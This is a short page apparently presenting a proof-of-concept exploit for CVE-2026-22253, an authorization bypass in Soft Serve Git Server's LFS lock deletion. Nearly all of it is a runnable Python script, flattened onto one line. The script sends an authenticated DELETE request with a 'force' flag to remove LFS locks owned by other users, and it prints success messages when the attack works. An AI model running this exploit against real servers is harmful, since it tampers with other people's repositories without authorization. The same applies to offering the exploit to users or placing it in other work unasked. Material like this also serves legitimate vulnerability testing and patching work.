CVE-2026-22253: Soft Serve LFS锁删除授权绕过漏洞

import requests # CVE-2026-22253 PoC - LFS Lock Deletion Authorization Bypass # Target: Soft Serve Git Server < 0.11.2 # Attack: Authenticated user can delete locks owned by other users TARGET_URL = "http://target-server.com" API_TOKEN = "your-authenticated-user-token" TARGET_REPO = "vulnerable-repo" TARGET_LOCK_ID = 123 # Lock ID owned by another user def delete_lfs_lock_with_force(): """ Exploit the authorization bypass in LFS lock deletion endpoint. The vulnerable code processes force deletions before validating ownership. """ headers = { "Authorization": f"Bearer {API_TOKEN}", "Content-Type": "application/json" } # Vulnerable request: force=true bypasses ownership check payload = { "force": True # This flag triggers the vulnerability } url = f"{TARGET_URL}/api/v1/repos/{TARGET_REPO}/lfs/locks/{TARGET_LOCK_ID}" print(f"[*] Sending malicious lock deletion request to: {url}") print(f"[*] Target lock ID: {TARGET_LOCK_ID}") print(f"[*] Force flag: {payload['force']}") response = requests.delete(url, json=payload, headers=headers) if response.status_code == 200 or response.status_code == 204: print("[+] VULNERABLE: Lock deleted successfully via authorization bypass!") print(f"[+] Response: {response.text}") return True else: print(f"[-] Request failed with status: {response.status_code}") print(f"[-] Response: {response.text}") return False if __name__ == "__main__": delete_lfs_lock_with_force()